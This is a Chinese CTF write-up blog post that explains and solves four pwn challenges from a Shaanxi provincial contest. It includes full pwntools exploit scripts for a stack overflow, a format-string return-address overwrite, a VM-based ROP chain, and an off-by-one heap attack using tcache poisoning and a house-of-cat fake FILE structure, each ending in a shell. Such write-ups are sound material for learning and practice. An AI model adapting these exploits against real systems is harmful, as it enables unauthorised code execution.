陕西省省赛 wp & 复现

Static Lv2

陕西游玩

一道签到题吧,选项1栈溢出,partial overwrite到后⻔位置,爆破即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('60.204.130.55',10001)
#io = process('./vuln')

io.recvuntil(b'Your choice :')
io.send(b'1')
io.recvuntil(b'Welcome to Huashan_Mountain\n')
io.send(b'A'*0x28+b'\x9a\x12')

io.interactive()

easy_printf

checksec看到保护全开,IDA打开

看到需要先通过比较,然后才能进入12次格式化字符串漏洞,比较直接解码base64就行,输入TokameinE_is_the_best_pwner\x00即可

然后就是格式化字符串了,可以先把栈地址,pie基址,libc基址同时泄露出来。栈中肯定是栈地址最多了,而且因为用了for循环,所以栈帧不会一直变换,因此就直接在栈里面找一个可以被修改的栈地址,然后指向返回地址,再修改返回地址对应字节为one_gadget,1/16爆破一下就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def rec():
io.recvuntil(b'What do you want to say?')

#attach(io, 'b fmtstr')
#pause()

io.recvuntil(b'Do you know who the best pwner is?\n')
io.send(b'TokameinE_is_the_best_pwner\x00')

rec()
io.send(b'%8$p.%9$p.%18$p')

io.recvuntil(b'0x')
stack = int(io.recv(12), 16)
log.success('stack ===> '+hex(stack))
io.recvuntil(b'0x')
pie = int(io.recv(12), 16)-0x12f7
log.success('pie ===> '+hex(pie))
io.recvuntil(b'0x')
libcbase = int(io.recv(12), 16)-0x5f1168
log.success('libcbase ===> '+hex(libcbase))

one_gadget = [0x45226, 0x4527a, 0xf034a, 0xf1247]

#0x58: one_gadget[:2]
#0x5a: one_gadget[2:4]
#0x5c: one_gadget[4:6]
backdoor = libcbase + one_gadget[0]

rec()
io.send(b'%88c%8$hhn')
rec()
io.send(b'%'+str(backdoor&0xffff).encode()+b'c'+b'%10$hn')

rec()
io.send(b'%90c%8$hhn')
rec()
io.send(b'%'+str((backdoor>>16)&0xffff).encode()+b'c'+b'%10$hn')

rec()
io.send(b'%92c%8$hhn')
rec()
io.send(b'%'+str(backdoor>>32).encode()+b'c'+b'%10$hn')

for i in range(6):
rec()
io.send(b'A'*0x20)


io.interactive()

babycvm

这道题是一道vm,输入相应的机器码,程序会进行翻译并执行。关键在于逆向,可我一看到要逆就头大。。。

这里是看着Wings的wp复现的

首先将输入指令设为 123456789abcdef0,然后分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 *__fastcall fetch_and_decode(__int64 a1, __int64 *a2)
{
__int64 *result; // rax
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = *(_QWORD *)(a1 + 8 * (*(unsigned int *)(a1 + 4) + 6LL));
a2[3] = (unsigned __int16)v3 >> 12;
*a2 = (v3 >> 8) & 0xF;
a2[1] = (unsigned __int8)v3 >> 4;
a2[2] = (unsigned __int8)v3;
result = a2;
a2[4] = a2[2] + ((v3 >> 8) & 0xFFFFFFFFFFFF00LL);
return result;
}

a2[0] = e, a2[1] = f, a2[2] = f0, a2[3] = d, a2[4] = 123456789abcf0

到这里分析完了指令的解码,然后看译码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int __fastcall evaluate(_DWORD *a1, _QWORD *a2)
{
__int64 v2; // rax
int v3; // eax
__int64 v4; // rdx
__int64 v5; // rdx

++a1[1];
v2 = a2[3];
switch ( v2 )
{
case 0LL:
LODWORD(v2) = puts("noop");
break;
case 1LL:
printf("loadi r%lld <- %lld\n", *a2, a2[4]);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = a2[4];
break;
case 2LL:
printf("add r%lld <- r%lld + r%lld\n", *a2, a2[1], a2[2]);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] + *(_QWORD *)&a1[2 * a2[2] + 4];
break;
case 3LL:
printf("shiftl r%lld <- r%lld >> %lld\n", *a2, a2[1], a2[2]);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] >> a2[2];
break;
case 4LL:
printf("load r%lld <- @0x%02llx\n", *a2, a2[4]);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[4] + 12];
break;
case 5LL:
printf("store @0x%02llx <- r%lld\n", a2[4], *a2);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * a2[4] + 12] = *(_QWORD *)&a1[2 * *a2 + 4];
break;
case 6LL:
printf("syscall %lld\n", a2[4]);
v2 = a2[4];
if ( !v2 )
{
v3 = a1[2];
a1[2] = v3 - 1;
LODWORD(v2) = puts((const char *)&a1[2 * *(_QWORD *)&a1[2 * (100 - v3) + 12] + 12]);
}
break;
case 7LL:
printf("shiftr r%lld <- r%lld << %lld\n", *a2, a2[1], a2[2]);
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] << a2[2];
break;
case 8LL:
puts("halt");
LODWORD(v2) = (_DWORD)a1;
*a1 = 0;
break;
case 9LL:
printf("push r%lld\n", *a2);
v4 = *a2;
++a1[2];
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * (100 - a1[2]) + 12] = *(_QWORD *)&a1[2 * v4 + 4];
break;
case 10LL:
printf("pop r%lld\n", *a2);
LODWORD(v2) = a1[2];
a1[2] = v2 - 1;
v5 = *(_QWORD *)&a1[2 * (unsigned int)(100 - v2) + 12];
LODWORD(v2) = (_DWORD)a1;
*(_QWORD *)&a1[2 * *a2 + 4] = v5;
break;
case 11LL:
printf("jump @%lld\n", a2[4]);
LODWORD(v2) = (_DWORD)a1;
a1[1] = a2[4];
break;
default:
return v2;
}
return v2;
}

分析函数可以发现,函数中的case由a2[3]即d决定,接下来以d分类分析

  • d = 0, noop
  • d = 1, a1[2 * a2[0] + 4] = a2[4]
  • d = 2, a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] + a1[2 * a2[2] + 4]
  • d = 3, a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] >> a2[2]
  • d = 4, a1[2 * a2[0] + 4] = a1[2 * a2[4] + 12]
  • d = 5, a1[2 * a2[4] + 12] = a1[2 * a2[0] + 4]
  • d = 6, puts( a1[2 * a1[2 * (100 - a1[2]) + 12] + 12] )
  • d = 7, a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] << a2[2]
  • d = 8, *a1 = 0
  • d = 9, a1[2] += 1, a1[2 * (100 - a1[2]) + 12] = a1[2 * a2[0] + 4]
  • d = 10, a1[2] -= 1, a1[2 * a2[0] + 4] = a1[2 * (100 - a1[2]) + 12]
  • d = 11, a1[1] = a2[4]

我们注意到,d = 1 时由于a2[0]的值有限制,因此不能有很大能力修改栈内存,但是如果和d = 5配合起来就可以实现对栈的修改即a1[2*a2[4]+12] = a1[2*a2[0]+4] = a2[4]。然后来看run函数,该函数中的s就是上面分析的a1,如果能精确控制某些值,那么我们就能覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall run(const void *a1, size_t a2)
{
__int64 v3[6]; // [rsp+10h] [rbp-390h] BYREF
_QWORD s[6]; // [rsp+40h] [rbp-360h] BYREF
__int64 v5; // [rsp+70h] [rbp-330h] BYREF
unsigned __int64 v6; // [rsp+398h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(s, 0, 0x350uLL);
memcpy(&v5, a1, a2);
LODWORD(s[0]) = 1;
puts("==========================");
while ( LODWORD(s[0]) )
{
fetch_and_decode((__int64)s, v3);
evaluate(s, v3);
}
show(s);
return __readfsqword(0x28u) ^ v6;
}

只需要进行简单的动态调试就可以发现只需要用d = 1d = 5两种就可以构造ROP。并且在输入name部分可以直接泄露libc地址,而不需要使用指令中的puts来泄露(当然使用了也可以

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64', log_level = 'debug')

io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

#attach(io)
#pause()

io.recvuntil(b'welcome, tell me your name: ')
name = b'A'*0x20
io.send(name)

io.recvuntil(b'A'*0x20)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1f12e8
log.success('libcbase ===> '+hex(libcbase))

sys = libcbase + 0x52290
bin_sh = libcbase + 0x1b45bd
pop_rdi = libcbase + 0x23b6a
ret = pop_rdi + 1

codes = [
((sys>>8)<<16)+0x1000+(sys&0xff),
((bin_sh>>8)<<16)+0x1100+(bin_sh&0xff),
((pop_rdi>>8)<<16)+0x1200+(pop_rdi&0xff),
((ret>>8)<<16)+0x1300+(ret&0xff),

0x5367,
0x5268,
0x5169,
0x506a
]

'''
loadi r0 <- sys
loadi r1 <- bin_sh
loadi r2 <- pop_rdi
loadi r3 <- ret
store @0x67 <- r3
store @0x68 <- r2
store @0x69 <- r1
store @0x6a <- r0
'''

codes += [0x8000] * (100 - len(codes))
length = len(codes)

io.recvuntil(b'give me your code count: ')
io.sendline(str(length+1).encode())

for i in range(length):
io.recvuntil(b'give me code: ')
io.sendline(str(codes[i]).encode())
io.sendline(str(0x8000).encode())

io.interactive()

Information_System

这道题风水用的时间比较长,导致赛后半小时才出

checksec看到保护全开,然后IDA打开看到实际上是一个堆题,不过前面还加了个登录部分

程序⾸先需要login,先在name和passwd输⼊时填满前0x10个字节,后⾯再跟上root和t00r。然后需 要输⼊正确的verification code,这个在得到时会有⼀些随机数操作,可以直接通过c程序模拟,也可 以⽤ctypes。模拟的c程序为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<unistd.h>

int main()
{
unsigned int x = time(0);
//srand((100 * ((long long)((((long long)0xA3D70A3D70A3D70B * (unsigned long long)x) >> 64) + x) >> 6)) ^ 0xDEADBEEF);
srand((100 * ((__int64_t)((((__int64_t)0xA3D70A3D70A3D70B * (unsigned __int128)x) >> 64) + x) >> 6)) ^ 0xDEADBEEF);
int seed = rand();
srand(seed);
int v2 = rand();
int v3 = rand();
printf("test%u\n", (v2^v3)>>6);

return 0;
}

然后在程序的输入部分存在off-by-one漏洞

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_147A(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; a2 >= (int)i; ++i ) // off-by-one
{
read(0, (void *)((int)i + a1), 1uLL);
if ( *(_BYTE *)((int)i + a1) == 10 )
return i;
}
return i;
}

程序只有add() show() delete()三个功能,libc版本为2.35,因此考虑堆风水+house of cat

程序在开始时会让你选择一个key,这个key决定了后面你可以申请多大的堆块,函数逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_16BE()
{
printf("Input your key: ");
key = input("Input your key: ");
if ( key )
{
if ( (unsigned int)key > 0x10 )
key = 16;
}
else
{
key = 1;
}
return printf("Your key is %u.", (unsigned int)key);
}

在add函数中(最多可以申请12个堆块),有如下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
my_write("******************************");
my_write("* 1. Add brief information; *");
my_write("* 2. Add details; *");
my_write("* 3. Add all information. *");
my_write("******************************");
printf("Your choice: ");
v3 = input();
if ( v3 == 3 )
{
size = (unsigned int)(key << 6);
chunk = malloc(size);
}
else
{
if ( v3 > 3 )
return my_write("Exception Input!");
if ( v3 == 1 )
{
size = (unsigned int)(16 * key + 8);
chunk = malloc(size);
}
else
{
if ( v3 != 2 )
return my_write("Exception Input!");
size = (unsigned int)(16 * (key + 5));
chunk = malloc(size);
}
}

因此在选择key>0x10时,可add的大小有1:0x108 2:0x150 3:0x400,在key<=0x10时,可add的大小有1:0x18 2:0x60 3:0x40,由于是off-by-one漏洞,考虑key>0x10

然后就是堆风水泄露堆基址和libc基址,堆风水构造tcache poisonhouse of cat

这里详细来看一下如何对该题进行堆风水

泄露堆基址为例,只需要3个堆块即可,首先申请0x108大小的chunk0, chunk1, chunk2,chunk2的对应位置填充上大小,来绕过之后的size检查,然后删除chunk0,再将chunk0重新add回来并通过off-by-one修改chunk1的size末字节为0x61,然后删除chunk2,删除chunk1,将chunk1拿回来的同时覆盖到要泄露的地址位置,然后直接show(1)就可以了

为了不破坏堆块结构,可以选择在泄露完成后恢复chunk2的chunk头结构,恢复方式也十分简单,直接删除chunk2再申请回chunk2编辑就可以了

后续泄露libc就仿照这个思路先填充6个0x108的tcache,然后后面可以申请4个chunk,设为chunk0,chunk1,chunk2,chunk3,先不管chunk3,然后把chunk0,chunk1,chunk2按照之前的思路弄一下,chunk3用来填充tcache成7个

tcache poison也是这个思路,就是修改fd后再复原下chunk头,然后再申请出来

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
from pwn import*
context.log_level='debug'

p = process('./test')
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
attach(io, 'b login')
pause()

def key(num):
io.recvuntil(b'Input your key: ')
io.sendline(str(num).encode())

def menu(choice):
io.sendlineafter(b'Your choice: ', str(choice).encode())

def add(index, choice, data):
menu(1)
io.sendlineafter(b'Enter the index: ', str(index).encode())
io.sendlineafter(b'Your choice: ', str(choice).encode())
io.sendafter(b'Enter the information: ', data)

def delete(index):
menu(2)
io.sendlineafter(b'Enter the index: ', str(index).encode())

def show(index):
menu(3)
io.sendlineafter(b'Enter the index: ', str(index).encode())

#######verify###################################
p.recvuntil(b'test')
verify = p.recvline()
################################################

#DEBUG()

io.recvuntil(b'Input your name: ')
io.sendline(b'A'*0x10+b'root\x00')
io.recvuntil(b'Input your password: ')
io.sendline(b'A'*0x10+b't00r\x00')
io.recvuntil(b'Enter the verification code: ')
io.send(verify)

key(17)

#add选项: 1:0x108 2:0x150 3:0x400

#泄露堆地址
add(0, 1, b'A'*0x10+b'/bin/sh\x00\n')
add(1, 1, b'A\n')
add(2, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')

delete(0)
add(0, 1, b'A'*0x108+b'\x61')
delete(2)
delete(1)
add(1, 2, b'A'*0x10f+b'\n')
show(1)

io.recvuntil(b'A'*0x10f+b'\n')
heapbase = u64(io.recv(5).ljust(8, b'\x00'))<<12
log.success('heapbase ===> '+hex(heapbase))

#复原堆
delete(1)
add(1, 2, b'A'*0x100+p64(0)+p64(0x111)+p64(heapbase>>12)+b'\n')

#泄露libc
for i in range(2, 9):
add(i, 1, b'\n')
add(9, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')
add(10, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')
for i in range(2, 10):
delete(i)
add(8, 1, b'\n')
add(7, 1, b'A'*0x108+b'\x61')
delete(8)
add(8, 2, b'A'*0x10f+b'\n')
show(8)

io.recvuntil(b'A'*0x10f+b'\n')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x219ce0
log.success('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase+0x21a680
sys = libcbase + libc.symbols['system']
bin_sh = libcbase+next(libc.search(b'/bin/sh\x00'))

#tcache poison打到_IO_list_all进行house of cat
delete(8)
add(8, 2, b'A'*0x108+p64(0x111)+p64(libcbase+0x219ce0)*2+b'\n')
for i in range(2, 6):
add(i, 1, b'\n')
add(11, 1, b'\n')
add(9, 1, b'\n')
delete(7)
delete(9)
delete(8)
add(8, 2, b'A'*0x108+p64(0x111)+p64((heapbase>>12)^_IO_list_all)+b'\n')

delete(8)
add(8, 1, b'\n')
add(7, 1, p64(heapbase+0xe50)+b'\n') #_IO_list_all

rdi = b'/bin/sh\x00'
call_addr = sys
fake_io_addr=heapbase+0xe50 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=rdi #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+libc.symbols['_IO_wfile_jumps']+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

delete(1)
add(1, 3, fake_IO_FILE+b'\n')

menu(5)
#DEBUG()

io.interactive()
  • Title: 陕西省省赛 wp & 复现
  • Author: Static
  • Created at : 2024-03-10 16:34:57
  • Updated at : 2024-03-10 16:34:51
  • Link: https://staticccccccc.github.io/2024/03/10/CTFS-wp/陕西省省赛 wp & 复现/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
陕西省省赛 wp & 复现